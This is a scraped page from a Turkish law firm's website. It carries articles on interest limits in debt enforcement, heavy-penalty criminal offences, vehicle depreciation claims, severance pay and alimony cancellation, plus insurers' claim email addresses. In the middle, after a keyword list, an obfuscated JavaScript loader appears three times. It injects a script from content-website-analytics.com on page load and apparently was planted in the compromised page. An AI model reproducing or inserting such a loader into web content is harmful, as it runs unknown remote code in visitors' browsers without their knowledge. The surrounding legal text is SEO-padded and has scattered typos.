HEMEN ARA: +905309118133

Turan & Karakoç Avukatlık Ofisi

En güncel içerikler ve haberler

Serdivan’da Boşanma Süreci: Uzman Avukat Seçerken Dikkat Edilmesi Gerekenler

Serdivan’da boşanma sürecinde adil bir sonuç almak için doğru Serdivan Boşanma Avukatını seçmek büyük önem taşır.

Devamını Oku

Adapazarı’nda Huzuru Bulmanın Yolu: En İyi Avukatlarla Tanışın

Adapazarı’nda huzuru bulmak isteyenler için Adapazarı’ndaki En İyi Avukatlarla tanışmak, gerçek bir başlangıç olabilir.

Devamını Oku

Sakarya’nın En İyi Avukatları Ne Anlama Gelmektedir?

Sakarya’nın En İyi Avukatları, hukuki süreçlerde danışmanlık ve savunma desteği sunarak adaletin sağlanmasına önemli katkılar sağlar.

Devamını Oku

İcra Takibinde Fahiş Faiz Talepleri: Türk Borçlar Kanunu ve Sınırlamaları

İcra takibinde fahiş faiz talepleri genellikle bankalar, GSM operatörleri veya zincir mağazalar gibi kuruluşlar tarafından yapılmaktadır. Ancak Türk Borçlar Kanunu, sözleşmelerde belirlenen faiz oranlarının belirli sınırlar içinde olması gerektiğini açıkça belirtmektedir. Faiz, asıl alacağın yanı sıra genellikle sözleşmeyle belirlenir. Ancak bazen alacaklılar, icra takiplerinde aşırı yüksek faiz taleplerinde bulunabilmektedirler. Hatta bazı durumlarda talep edilen faiz miktarları, asıl alacağı bile aşabilmektedir.

Türk Borçlar Kanunu, faiz konusunda birtakım sınırlamalar getirmiştir. Kanunun 88. maddesine göre, sözleşmeyle kararlaştırılan yıllık faiz oranı, yıllık yasal faiz oranının yüzde elli fazlasını aşamaz. Benzer şekilde, temerrüt faizi için de 120. maddeye göre, sözleşmeyle belirlenen yıllık temerrüt faizi oranı, yıllık yasal faiz oranının yüzde yüz fazlasını geçemez. Bu hükümler, alacaklıların borçlulardan talep edebileceği faiz miktarını sınırlamaktadır.

Ayrıca, 6502 sayılı Tüketici Koruma Kanunu, tüketici sözleşmeleri, kredi kartları, kredili mevduat hesabı sözleşmeleri gibi belirli tüketici ilişkileri için faiz üst sınırları getirmektedir. Bu sınırlamalar, tüketici haklarını korumayı amaçlamaktadır.

Sonuç olarak, kanunlarımız, alacaklıların borçlulardan talep edebileceği faiz miktarını belirli sınırlar içinde tutmaktadır. Bu sınırlamaları aşan fahiş faiz talepleri hukuka aykırıdır ve borçlu, ödenen fazla faiz tutarını geri talep edebilir. “Sakarya Avukat” olarak, bu konuda uzman bir avukata danışmanızı öneririz.

Sakarya Adapazarı Ağır Ceza Avukatı

Hukuk sistemimiz bir çok alanlara ayrılarak incelenmektedir. Borçlar hukuku, bilişim hukuku, icra hukuku, idare hukuku bunlardan bir kaçıdır. Ceza hukuku ise sıklıkla karşılaşılan bir hukuk dalıdır. Türk Ceza Kanununda yer alan suçların niteliğine göre Sakarya
Sakarya’da Ceza Avukatları zaman zaman Ağır Ceza Avukatı olarak da anılmaktadırlar. Avukatlık kanunda ceza avukatlığı adı altında ayrıca bir meslek kolu tanımlanmamış olmasına rağmen sıklıkla kullanılan bir tabir haline gelmiştir. Ayrıca Sakarya Ağır Ceza Avukatı, gibi bölgesel bazda da nitelendirilmelerle karşılaşmak mümkündür.

ADAPAZARI AGIR CEZA AVUKATI
ADAPAZARI AĞIR CEZA AVUKATI

Ağır Ceza Mahkemelerinde görülen davalar hakkında bilgiler vereceğimiz bu yazımızda; bizde zaman zaman konunun daha anlaşılabilir olması amacıyla; Ağır ceza avukatı ve Adapazarı Ağır Ceza Avukatı, Sakarya Ağır Ceza Avukatı yada Erenler Ağır Ceza Avukatı tabirlerini kullanacağız. Ancak daha öne de belirttiğimiz gibi ceza avukatlığı adı altında ayrıca bir meslek kolu bulunmadığı gibi Ağır Ceza avukatı olarak da bir meslek kolu bulunmamaktadır.

Ağır Ceza Mahkemesinde Görülen Davalar

Özel mahkemeler (Çocuk Mahkemesi, İcra Ceza Mahkemesi, Çocuk Ağır Ceza Mahkemesi vs.) hariç olmak üzere; hukuk sistemimizde ceza mahkemeleri Asliye Ceza Mahkemesi ve Ağır Ceza Mahkemesi olarak ikiye ayrılmaktadır. Her iki mahkemenin yargılamada görevli olduğu suçların ayrımında Türk Ceza Kanununda suç için öngörülmüş ceza üst sınırı dikkate alınmaktadır. Ceza üst sınırı on yıl ve üzerinde hürriyeti bağlayıcı ceza olması halinde yargılama görevi; Ağır Ceza Mahkemelerindedir. Diğer suçlarda ise yargılama görevi Asliye eza Mahkemelerindedir. Ayrıca yargılama sonrasında fail için ön görülen müebbet hapis cezası ile; Ağırlaştırılmış müebbet hapis cezası olması halinde de yargılama görevi Ağır Ceza Mahkemelerindedir. Adapazarı Ağır eza avukatı ve Sakarya Ağır Ceza Avukatı olarak bu ayrıma göre; Ağır ceza mahkemelerinde görülen davaları aşağıdaki gibi sıralamak isteriz.

Kasten Öldürme Suçu

Müebbet hapis cezası ve failin seçimlik hareketlerine göre ağırlaştırılmış müebbet hapis cezası öngörülen ve Adapazarı Ağır Ceza Avukatı olarak ilk olarak değinmek isteğimiz suç kasten öldürme suçudur. TCK 81 maddesinde düzenlendiği şekilde nitelikli hal dışında kalan durumlar dışında kasten öldürme suçunun cezası müebbet hapis ezasıdır. Kasten öldürme suçunun nitelikli halleri ise TCK 82/1 maddesinde düzenlenmiştir. Buna göre kasten öldürmenin nitelikli kasten öldürme olarak nitelendirilmesinde özetle aşağıdaki seçimlik hareketlerin bir veya bir kaçının gerçeklemesi gerekmektedir.

  • Tasarlayarak Öldürme
  • Eziyet çektirerek ya da canavarca hisle öldürme
  • Bombalama, biyolojik silah veya kimyasal silah kullanarak öldürme
  • Üst soy, alt soy ile boşanmış olunan eş ve kardeşi öldürme
  • Beden ya da ruh bakımından kendisini savunamayacak kişileri öldürme
  • Kadını veya çocuğu öldürme
  • Kamu görevlisini görevinden dolayı öldürme
  • Bir suçu gizlemek ya da delillerini yok etme veya yakalanmamak için kasten öldürme
  • Kan gütmek saikiyle öldürme ve töre saikiyle öldürme

Yukarıda sıralamış olduğumuz seçimlik hareketler ile kasten öldürme gerçekleşmesi halinde; fail ağırlaştırılmış müebbet hapis ezası ile cezalandırılmaktadır. Adapazarı Ağır eza Avukatı olarak kasten öldürme suçları için katılmış olduğumuz davalarda; meşru müdafaa, nefsi müdafaa, zorunluluk hali durumları ile daha az cezayı gerektiren hallerin delillendirilmesinin fail için yukarıda belirtmiş olduğumuz cezaların miktarı için büyük ölçüde önemli olduğunu belirtmekte fayda vardır.

Nitelikli Yağma

Adapazarı Ağır Ceza Avukatı, Sakarya Ağır Ceza Avukatı ve Erenler Ağır Ceza Avukatı olarak; belirtmek istediğimiz son yıllarda artış gösteren ve Ağır Ceza mahkemelerinde görülen bir başka suç ise; nitelikli yağma suçudur. Daha çok TCK 148 maddesinde düzenlenen yağma suçunun daha ağır cezayı gerektiren hali olarakda kabul edilmektedir. Bu nedenle yağma suçunun nitelikli olarak kabul edilmesinde; öngörülen seçimlik hareketler hakkında bilgi vermeden önce yağma suçunun tanımının yapılmasında fayda vardır. “Failin bir başkasına yönelik olmak üzere kendisine ya da herhangi bir yakınının hayatına vücut ya da; cinsel dokunulmazlığına hatta mal varlıklarına karşı bir saldırıda bulunacağından bahisle cebir ya da tehdit kullanarak bir malı kendisine teslim etmeye zorlaması” yağma suçu olarak tanımlanmıştır. TCK 148/1 maddesindeki basit yağma suçu ile birlikte ayrıca TCK 149/1 maddesinde yağma suçunun nitelikli halleri sıralanmıştır. Buna göre yağma suçunun;

  • Silahla
  • Tanınmayacak bir hale kendisini koyarak
  • Birden fazla kişiyle
  • İş yerinde veya konutta
  • Yol keserek
  • Kendisini savunamayacak kişilere karşı
  • Suç örgütlerinin isimlerini kullanarak veya suç örgütlerine yarar sağlamak amacıyla
  • Geceleyin

İşlenmesi halinde fail hakkında on beş yıla kadar hapis cezası öngörülmüştür. Adapazarı Ağır Ceza Avukatı ve Sakarya Ağır Ceza Avukatı olarak nitelikli yağma suçunda belirtilen seçimlik hareketlerin varlığının tespit edilmesi oldukça önemli olduğunu hatırlatmak isteriz.

Rüşvet Suçu

TCK 252/1 maddesinde düzenlenen ve büyük ölçüde kamu görevlilerine özgü olan rüşvet suçu da Ağır Ceza Mahkemelerinde görülen davalar arasındadır. Rüşvet suçunun unsurları oldukça çeşitlilik göstermesi nedeniyle Adapazarı Ağır Ceza Avukatı, Sakarya Ağır Ceza Avukatı olarak ayrıca değinmek istediğimiz suçlar arasındadır. TCK 252/1 maddesindeki tanıma göre; görevi gereği olup bir işi yapması veyahut yapmaması adına doğrudan veya aracılar vasıtasıyla bir kamu görevlisine veya gösterilen başka bir kişiye menfaat sağlanması rüşvet suçunu oluşturmaktadır. Rüşvet suçunu işleyen fail hakkında 4 yıl ile 12 yıl arasında hapis cezası öngörülmüştür.

Bilinçli Taksirle Ölüme Sebebiyet Verme

Büyük ölçüde Asliye Ceza Mahkemesi görev alanına giren ancak bilinçli taksir ile ölüme sebebiyet verme suçlarında yargılama görevi Ağır Ceza Mahkemelerinde olan bir başka suç ise; Bilinçli taksirle ölüme sebebiyet verme suçudur. Bilinçli taksir ile ölüme sebebiyet verme suçunda “bilinçli taksirin” kanıtlanması oldukça önemlidir. Adapazarı Ağır Ceza avukatı ve Sakarya Ağır Ceza avukatı olarak bilinçli taksir ile ölüme sebebiyet verme suçlarında soruşturma aşamasından itibaren; Ağır Ceza Avukatından destek alınması gerektiğini düşünmekteyiz.

İşkence Suçu

Ağır Ceza Avukatı olarak sıklıkla karşılaştığımız bir başka suç ise işkence suçudur. TCK 94/1 maddesinde işkence suçunun temel şekli düzenlenmişken, TCK 94/2 maddesinde ise; Daha ağır cezayı gerektiren halleri belirtilmiştir. TCK 94/1 maddesinde yapılan tanıma göre; Kişiye ruhsal veya bedensel olarak acı çektirmeye, iradesinin veya algılama yeteneğinin etkilenmesi veya kişinin aşağılanması; İşkence suçunu oluşturmaktadır. TCK 94/2 maddesinde ise;

  • Kendisine savunamayacak kişiler ile çocuklara karşı
  • Cinsel Taciz ile birlikte işkence
  • Kamu görevlileri ile avukatlara karşı görevlerinden dolayı

İşkence suçunun işlenmesi nitelikli hal olarak kabul edilmektedir. İşkence suçunun TCK 94/1 maddesindeki temel şekli ile işlenmesi halinde fail için üç yıl ile on yıl arasında hapis; Nitelikli haller (TCK 94/2) kapsamında işlenmesi halinde on yıl ile on beş yıl arasında hapis cezası öngörülmüştür. Gerek suçun temel şeklinin düzenlendiği TCK 94/1 ve daha ağır cezayı gerektiren hallerinin düzenlendiği TCK 94/2 maddelerinden de anlaşılacağı üzere; İşkence suçu için ön görülen ceza alt ve üst sınırları oldukça farklıdır. Bu nedenle Ağır Ceza Avukatının işkence suçlarında rolü oldukça fazladır.

Adapazarı Ağır Ceza Avukatı

Ağır Ceza Mahkemelerinde görülmekte olan; Adapazarı Ağır Ceza Avukatı, Sakarya Ağır Ceza Avukatı ve İstanbul Avrupa Yakası Ağır Ceza Avukatı olarak sıklıkla karşılaştığımız suçların başında yukarıda belirtmiş olduğumuz suçlar gelmektedir. Bunlar haricinde ayrıca;

Milli Savunmaya Karşı Suçlar

Devletin Güvenliğine Karşı Suçlar

Anayasal Düzene Karşı Suçlar

ADAPAZARI AĞIR CEZA AVUKATI

Yine Ağır Ceza Mahkemelerinde görülen suçlardır. Ayrıca bir çok suçun ağırlaştırıcı nedenlerinin varlığı halinde Ağır Ceza Mahkemelerinde görülmesi mümkün hale gelebilmektedir. Suçlardaki daha ağır cezayı gerektiren hallerin varlığı, cezasızlık nedenleri; Veya cezada indirim nedenleri gibi unsurlar göz önüne alındığında yukarıda belirtmiş olduğumuz suçlar ve diğer ceza hukuku alanındaki suçların yargılanması sırasında Sakarya’da Ağır Ceza Avukatından destek alınması oldukça önemlidir.

İlgili Aramalar

Sakarya Ceza Avukatı,
Sakarya Ağır Ceza Avukatı,
Sakarya Uyuşturucu Dava Avukatı,
Sakarya Sulh Ceza Avukatı,
Sakarya Asliye Ceza Avukatı,

Adapazarı Ceza Avukatı,
Adapazarı Ağır Ceza Avukatı,
Adapazarı Uyuşturucu Dava Avukatı,
Adapazarı Sulh Ceza Avukatı,
Adapazarı Asliye Ceza Avukatı,

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

Tarım Arazilerinin Satış Usulü Haritası

6537 Sayılı Kanunla, tarım arazilerinin devir işlemleri, miras yolu ile intikali, asgari tarımsal arazi ve yeter gelirli tarım arazisi büyüklüklerinin belirlenmesi, bugüne kadar parçalanmış olan tarım arazilerinin tekrar ekonomik büyüklüklere ulaştırılması ve bölünmelerinin önlenmesine ilişkin hükümler düzenlenmiştir. Bu hükme göre tarım arazilerinin usulüne uygun olarak bölünmesi adına aşağıda ki tablo düzenlenmiştir.

Satiş Şartlari

Sigorta Mail Adresleri

avukatlikofisi siyah
Değer Kaybı Mail Adresi
Türkiye Sigorta
hasariletisim@turkiyesigorta.com.tr
Unico Sigorta
eshasarihbar@unicosigorta.com.tr
Axa Sigorta
degerkaybi@axasigorta.com.tr
Corpus Sigorta
degerkaybi@corpussigorta.com.tr
Anadolu Sigorta
bilgi@anadolusigorta.com.tr
Eureko Sigorta
eshasarihbar@eurekosigorta.com.tr
Ray Sigorta
info@raysigorta.com.tr
Ak Sigorta
degerkaybitalepleri@aksigorta.com.tr
Quick Sigorta
degerkaybi@quicksigorta.com
Neova Sigorta
degerkaybi@neova.com.tr
Ethica Sigorta
degerkaybi@ethicasigorta.com.tr
Allianz Sigorta
hasarevrak@allianz.com.tr
Ankara Sigorta
degerkaybi@ankarasigorta.com.tr
Magdeburger Sigorta
degerk@magdeburger.com.tr
Groupama Sigorta
hasarihbar@groupama.com.tr
Bedeni Hasar Mail Adresi
Unico Sigorta
bedenihasar@unicosigorta.com.tr
Anadolu Sigorta
bilgi@anadolusigorta.com.tr
Quick Sigorta
bedenitazminatlar@quicksigorta.com
Neova Sigorta
bedenibilgi@neova.com.tr
Allianz Sigorta
dysotobedeniihbar@allianz.com.tr
Ankara Sigorta
BedeniHasar@ankarasigorta.com.tr

Araç Değer Kaybı Tazminatı Nasıl Alınır?

Değer kaybı, bir aracın kaza sonrası piyasa değerinde yaşanan azalmadır. Bu durumda araç sahibi, aracının önceki değerini korumak için sigorta şirketine başvurarak değer kaybı tazminatı talep edebilir. Ancak sigorta şirketleri genellikle bu talepleri reddedebilir ya da düşük bir miktar ödeyebilirler. Bu durumda Sakarya değer kaybı avukatı, araç sahibinin haklarını savunmak için devreye girer.

Sakarya değer kaybı avukatı, araç sahiplerine değer kaybı tazminatı alma konusunda yardımcı olur. Bir araç kaza sonrası onarım görürse, aracın piyasa değerinde bir düşüş yaşanır. Bu durumda, araç sahibi, aracın önceki değerini korumak için değer kaybı tazminatı talep edebilir. Ancak, sigorta şirketleri, aracın onarım masraflarının tazmin edilmesi için ödeme yaptıktan sonra, aracın değer kaybını tazmin etmeyi reddedebilirler.

Sakarya değer kaybı avukatı, araç sahibinin haklarını savunmak ve sigorta şirketinden adil bir tazminat almalarını sağlamak için çalışır. Avukat, araçın önceki değerini ve onarım masraflarını hesaplayarak, araç sahibinin haklarını savunur. Ayrıca, sigorta şirketi tarafından sunulan düşük tazminat tekliflerini reddeder ve müvekkilinin adil bir tazminat almasını sağlar.

Sakarya değer kaybı avukatı, araç sahibinin yanı sıra, tüm sigortalıların da haklarını savunur. Bu avukatlar, sigorta şirketlerinin müşterileri yanılttığı veya haksız yere tazminat ödemesini reddettiği durumlarda müşterilerinin yanında yer alır. Bu tür durumlarda, avukatlar sigorta şirketlerine karşı hukuki mücadele verirler ve müşterilerinin adil bir tazminat almalarını sağlarlar.

Sakarya değer kaybı avukatları, araç sahiplerinin yanı sıra, sigorta şirketleriyle ilgili olarak da çalışırlar. Sigorta şirketleri, müşterilerinin taleplerini reddettiğinde veya adil bir tazminat ödemeyi reddettiğinde, bu avukatlar şirketlerin yanlış yaptığını belirleyerek, müşterilerin haklarını savunurlar. Ayrıca, sigorta şirketleriyle müzakere ederek

müşterilerin adil bir tazminat almalarını sağlarlar.

Sakarya değer kaybı avukatları, müvekkillerine hizmet verirken, bir dizi görevi yerine getirirler. Bu görevler arasında:

  1. Müşterilerin haklarını savunmak: Sakarya değer kaybı avukatları, müvekkillerinin haklarını savunmak için hukuki mücadele verirler. Sigorta şirketleri tarafından sunulan düşük tazminat tekliflerine karşı mücadele ederler ve müşterilerinin adil bir tazminat almalarını sağlarlar.
  2. Araştırma yapmak: Değer kaybı tazminatı talep eden müvekkillerin haklarını savunmak için, Sakarya değer kaybı avukatları, aracın önceki değerini ve onarım masraflarını hesaplamak için araştırma yaparlar. Bu araştırmalar, müşterilerin adil bir tazminat almalarını sağlar.
  3. Hukuki belgeler hazırlamak: Sakarya değer kaybı avukatları, müşterilerinin haklarını savunmak için hukuki belgeler hazırlarlar. Bu belgeler, müvekkillerin taleplerini savunmak için kullanılır.
  4. Sigorta şirketleriyle müzakere etmek: Sakarya değer kaybı avukatları, sigorta şirketleriyle müzakere ederek müvekkillerinin adil bir tazminat almasını sağlarlar. Bu müzakereler, müvekkillerin haklarını savunmak için önemlidir.

Sakarya değer kaybı avukatları, müvekkillerinin haklarını savunurken, aynı zamanda sigorta şirketleriyle ilişkilerini de dikkate alırlar. Bu avukatlar, sigorta şirketlerinin müşterilerinin haklarını ihlal ettiği durumlarda, şirketlerle hukuki mücadele vererek müvekkillerinin haklarını savunurlar.

Sonuç olarak, Sakarya değer kaybı avukatları, müvekkillerinin haklarını savunmak için çaba harcarlar. Araç sahiplerinin değer kaybı tazminatı talep etmeleri halinde, bu avukatlar araştırma yaparlar ve müvekkillerinin adil bir tazminat almalarını sağlarlar. Ayrıca, sigorta şirketleri tarafından sunulan düşük tazminat tekliflerine karşı mücadele ederler ve müşterilerinin haklarını savunurlar. Sakarya değer kaybı avukatları, müvekkillerinin haklarını savunurken, sigorta şirketleriyle ilişkilerini de göz önünde bulundurarak, müvekkillerinin haklarını savunurlar.

Sakarya Adapazarı İş Avukatı

Kıdem tazminatı, işçinin iş yerinden ayrılması durumunda, işverenin işçiye ödemesi gereken bir tazminattır. Kıdem tazminatı, işçinin çalıştığı süreye ve işverenin ödeme yapacağı tutara göre hesaplanır. Kıdem tazminatı konusu, iş hukuku konularının en önemli ve sıkıntılı konularından biridir. İşçiler, işverenlerin kıdem tazminatı ödemelerini zamanında ve doğru şekilde yapmalarını beklerler. Ancak, bazı durumlarda işverenler, kıdem tazminatı ödemelerini yapmayabilir veya yanlış hesaplayabilirler. İşçiler, bu durumda Sakarya işçi avukatından yardım alabilirler.

Sakarya İşçi Avukatı işçilerin haklarını korumak ve iş hukuku konularında danışmanlık hizmeti vermek için özel olarak eğitilmiş bir avukattır. İşçiler, işverenlerin kıdem tazminatı ödemelerinde yanlışlık yapması veya ödeme yapmaması durumunda Sakarya işçi avukatından yardım alabilirler. Sakarya işçi avukatı, işçilerin haklarını korumak ve işverenlerin yasal yükümlülüklerini yerine getirmelerini sağlamak için çalışır.

Sakarya İşçi Avukatı, Sakarya Kıdem Tazminatı Avukatı

Adapazarı İşçi Avukatı kıdem tazminatı konusunda işçilere hukuki danışmanlık hizmeti sunar. İşçilerin iş sözleşmelerinde kıdem tazminatı hakkında net bir şekilde belirtildiğinden emin olmalarına yardımcı olur. İşçiler, iş sözleşmelerinde kıdem tazminatı hakkında belirli bir madde bulunmuyorsa, kıdem tazminatı alıp alamayacakları konusunda Sakarya işçi avukatından yardım alabilirler. Ayrıca, işverenlerin kıdem tazminatı hesaplamalarını da kontrol eder ve işçilerin adil bir kıdem tazminatı almalarını sağlar.

Sakarya’da İşçi Davaları işçilerin işverenleriyle kıdem tazminatı konusunda anlaşamaması durumunda, işçilerin haklarını savunmak için mahkeme sürecinde de çalışır. Mahkeme sürecinde, Sakarya işçi avukatı, işçilerin haklarını korumak ve

adil bir kıdem tazminatı almalarını sağlamak için işçilerin yanında durur. İşverenlerin yanlış hesaplama yaptıklarında veya ödeme yapmadıklarında, Sakarya işçi avukatı işçilerin haklarını korumak için yasal yollara başvurabilir. Bu yasal yollar arasında, arabuluculuk, dava açma ve tazminat talep etme gibi yöntemler yer alabilir.

Kıdem tazminatı konusu, işçi ve işverenler arasında sık sık tartışma konusu olabilir. İşçiler, çalıştıkları süre boyunca işverenlerine bağlılık göstermişlerdir ve kıdem tazminatı haklarını korumak isteyebilirler. İşverenler ise, işverenin yükümlülüklerini yerine getirirken, işçiye ödenecek kıdem tazminatının maliyetini de hesaba katmak isteyebilirler.

Sakarya işçi avukatı, hem işçilerin hem de işverenlerin yararına çalışır. İşçilerin haklarını korumak ve işverenlerin yasal yükümlülüklerini yerine getirmelerini sağlamak için çalışır. İşçiler, kıdem tazminatı konusunda yaşadıkları sorunlarla karşı karşıya kaldıklarında, Sakarya işçi avukatı’ndan yardım alarak haklarını savunabilirler.

Sonuç olarak, kıdem tazminatı konusu, işçi ve işverenler arasında sık sık tartışma konusu olabilir. İşçiler, haklarını korumak ve adil bir kıdem tazminatı almak için Sakarya İş Hukuku Avukatından yardım alabilirler. Sakarya İş Davası Avukatı işçilerin haklarını savunmak ve işverenlerin yasal yükümlülüklerini yerine getirmelerini sağlamak için çalışır.

Nafaka İptal Davası

Boşanma davaları ile birlikte ya da boşanmanın gerçekleşmesinden sonra talep edilen nafakanın belirlenmesinde genellikle herhangi bir süre öngörülmemektedir. Ancak bu durum nafakaların süresiz bir şekilde ödeneceği sonucu da doğurmamaktadır. Bu nedenle nafakayı sonlandıran durumların varlığı halinde Nafaka İptal Davası açılması mümkündür. Sakarya boşanma avukatı, Adapazarı boşanma avukatı, Erenler boşanma avukatı, Serdivan boşanma avukatı olarak bu yazımızda nafaka iptal davalarına değineceğiz. Nafaka iptal nedenleri hakkında detaylı bilgiler vermeden önce nafaka iptal davalarına konu olabilecek nafaka türleri hakkında kısa da olsa bilgi vermek yerinde olacaktır.

İştirak Nafakası

Türk Medeni Kanunumuza göre; Çocuğun her türlü bakım ve gözetimi ile eğitim konusunda tüm masraflar; anne ve baba tarafından karşılanmaktadır. Her ne kadar evlilik birliği sona ermiş olsa dahi olağan üstü haller dışında bu durum değişmemektedir. Dolayısıyla boşanmanın gerçekleşmesinden sonra da eşlerin çocuk üzerindeki yükümlülükleri devam etmektedir. Evliliğin sona ermesine rağmen devam eden bu yükümlülük iştirak nafakasının konusunu oluşturmaktadır. Bu durumda iştirak nafakası; “Velayet sahibi olmayan eş tarafından ortak çocuk için bakım giderleri ile eğitim giderlerini karşılamak; için velayet sahibine ödenen ekonomik anlamda değerler” olarak adlandırılmaktadır.

İştirak Nafakası Hesaplama

Sakarya boşanma avukatı; ve Adapazarı boşanma avukatı olarak iştirak nafakası miktarı ve iştirak nafakası hesaplama konusunda sorularla sıklıkla karşılaşmaktayız. Öncelikle belirtmekte fayda vardır ki; Bu konuda genel bir miktar belirtmek ve iştirak nafakası hesaplaması ile elde edilebilecek bir miktar tespit etmek olanaksızdır. Diğer nafaka türlerinde olduğu gibi iştirak nafakası da eşlerin ekonomik durumu, mevcut mal varlıkları veya çocuğun yaş ya da sağlık durumuna veya eğitim durumuna göre belirlenmektedir.

Daha çok bu ve benzeri kriterler göz önüne alınarak hakim tarafından takdir edilmektedir. İştirak nafakasına ilişkin Sakarya boşanma avukatı olarak hatırlatmak istediğimiz en önemli husus; çocuğun üstün menfaati gereği iştirak nafakası talep olunmaksızın resen gözetilen bir durumdur. Ancak boşanma davaları sırasında veya boşanmanın gerçekleşmesinden sonra da ayrıca nafaka davaları açılması mümkündür.

Yoksulluk Nafakası

Sakarya boşanma avukatı olarak değinmek istediğimiz ve; nafaka iptal davalarına konu olan başka bir nafaka türü; ise yoksulluk nafakasıdır. İştirak nafakasından farklı olarak boşanma dolayısıyla yoksulluğa düşmüş olan eşe diğer eş tarafından ödenmektedir. Türk Medeni Kanunumuz yoksulluk nafakası konusunda herhangi bir ayrım yapmamıştır. Bu nedenle nafaka yükümlüsü kadın olabileceği gibi erkekte olabilmektedir. Esasen nafaka iptal davası daha çok yoksulluk nafakası konu olduğunu söylemek de mümkündür.

Yoksulluk Nafakası Ne Kadar?

Daha önce de belirttiğimiz gibi; gerek iştirak nafakası gerekse yoksulluk nafakası konusunda genel geçerli bir miktar belirtmemiz mümkün değildir. Eşlerin ekonomik durumları göz önüne alınarak takdir edilen bir miktar olması nedeniyle; yoksulluk nafakası ne kadar sorusuna da tam bir cevap vermek oldukça zordur. Bu konuda boşanma avukatından destek alınması daha yerinde olacaktır.

Nafaka İptal Davası

Evlilik birliğinin sonra ermesine bağlı olarak nafaka yükümlülüğünün ortadan kalkması nafaka iptal davalarına konu olmaktadır. Yukarıda da belirttiğimiz gibi iştirak nafakası ve yoksulluk nafakası, nafaka iptal davalarına konu olmaktadır. Her iki nafaka türü için ayrı ayrı nafaka iptal nedeni öngörülmüş olduğundan; Sakarya Boşanma avukatı olarak nafaka iptal davalarını; iştirak nafakasının iptali ve yoksulluk nafakasının iptali olarak iki ayrı başlık altında incelemeyi uygun gördük.

İştirak Nafakası İptali

Daha çok çocuğun bakım giderleri ve eğitim masrafları için ödenmesi nedeniyle nafaka iptal davalarına sıkça konu olan bir durum değildir. Ancak Sakarya boşanma avukatı olarak iştirak nafakasının iptaline neden olan durumları ve iştirak nafakasını ortadan kaldıran nedenleri belirtmekte fayda olduğunu düşünmekteyiz.

– Ergin olma; İştirak nafakasını ortadan kaldıran ilk durum ergin olmadır. Türk medeni kanunun 328. maddesine göre; Ana ve babanın bakım borcu çocuğun ergin olması ile veya evlenmesi ile sona ermektedir. Dolayısıyla iştirak nafakası da çocuğun ergin duruma gelmesi veya evlenmesi ile sona ermektedir. Ergin olma nedeniyle nafakasının iptali ve nafakanın sona ermesinin istisnası bulunmaktadır. Çocuğun ergin olmasına rağmen eğitim hayatı devam ediyorsa bu durumda eşlerin çocuk üzerindeki bakım yükümlülükleri kısmen de olsa devam etmektedir.

– Ölüm; Nafaka yükümlüsünün ölümü her ne kadar nafaka iptal davası konusu olmamakta ise de; İştirak nafakasını ortadan kaldıran nedenler arasında yer almaktadır. Ancak nafaka yükümlüsünün ölmeden önce ödememiş olduğu nafaka bulunması halinde ödenmemiş olan gecikmiş nafakaların iştirak nafakasının ödenmesi nafaka yükümlüsünün mirasçılarından talep edilmesi ile mümkündür.

Feragat; Ergin olma ile birlikte ölüm ve feragat duruları iştirak nafakası iptali davalarına konu olmamaktadır. Daha çok iştirak nafakasını ortadan kaldıran durumlar olarak nitelendirilmektedir. Nafaka iptal davaları ile aynı sonucu doğurması nedeniyle Sakarya boşanma avukatı, Adapazarı boşanma avukatı, Erenler boşanma avukatı ve Serdivan boşanma avukatı olarak kısaca değinmekte fayda olduğunu düşündük.

Nafaka Yükümlülüğünü Ortadan Kaldıran Durumlar

– Velayet Hakkının Elden Alınması; Bir başka iştirak nafakasını ortadan kaldıran durum ise velayet hakkının elden alınmasıdır. Velayet değişikliği gibi herhangi bir nedenle velayet hakkının elden alınması ile iştirak nafakası son bulabileceği, velayetin değişmesi sonucunu doğurması sonucunu doğurması sonucunu doğurması halinde ise eşler arasında nafaka yükümlüğünün de değişmesi mümkündür.

– Evlatlık Verilme; Türk Medeni Kanunu 314. maddesinde düzenlenmiş olan evlat edinme; İştirak nafakasını sona erdiren bir durumdur. Türk Medeni Kanunun 314. maddesine göre; Çocuk üzerindeki bakım ve gözetim yükümlülüğü evlat edinene geçmektedir. Dolayısıyla evlat edinme durumunda iştirak nafakası yükümlülüğünden de söz etmek mümkün değildir.

– Çocuğun Çalışmaya Başlaması; İştirak nafakasının amacı çocuğun ihtiyaçlarını karşılaması olması nedeniyle; Kendi ihtiyaçlarını karşılaması mümkün hale gelmesi durumunda çocuğun çalışmaya başlaması iştirak nafakasını sona erdiren durumlar arasında kabul edilmektedir.

– Nafaka Yükümlüsünün Yoksullaşması; Nafaka iptal davalarına esasen nafaka yükümlüsünün yoksullaşması konu olmaktadır. Sakarya boşanma avukatı ve Adapazarı boşanma avukatı olarak nafaka iptal davalarında sıklıkla nafaka yükümlüsünün yoksullaşmasının ileri sürüldüğünü söylemek yanlış olmayacaktır. Bu durumun mahkeme nezdinde kanıtlanması oldukça önemlidir. Bu nedenle nafaka iptal nedenlerinin varlığının kanıtlanması açısından boşanma avukatından destek alınması gerektiğini düşünmekteyiz.

Sakarya Boşanma Avukatı

Yoksulluk Nafakasının İptali

Nafaka iptal davalarına daha çok yoksulluk nafakası konu olmaktadır. İştirak nafakasının iptalinde olduğu gibi yoksulluk nafakasının iptalinde de bir takım nedenler belirlenmiştir. Sakarya boşanma avukatı olarak yoksulluk nafakasının iptaline neden olan durumları aşağıdaki gibi özetlemek isteriz.

– Yoksulluğun Ortadan Kalkması; Yoksulluk nafakasını ortadan kaldıran ilk neden olarak yoksulluğun ortadan kalkması örnek gösterilmektedir. Daha önce de belirttiğimiz gibi evlilik birliğinin sona ermesi ve diğer eşin bu nedenle yoksulluğa düşmesi yoksulluk nafakasını doğurmaktadır. Ancak daha sonra yoksul duruma düşen eşin herhangi bir nedenden ötürü yoksulluk durumundan kurtulması durumunda nafaka iptali davası açılması mümkündür. Ancak bu durumun boşanma avukatı vasıtasıyla delillendirilmesinde fayda vardır.

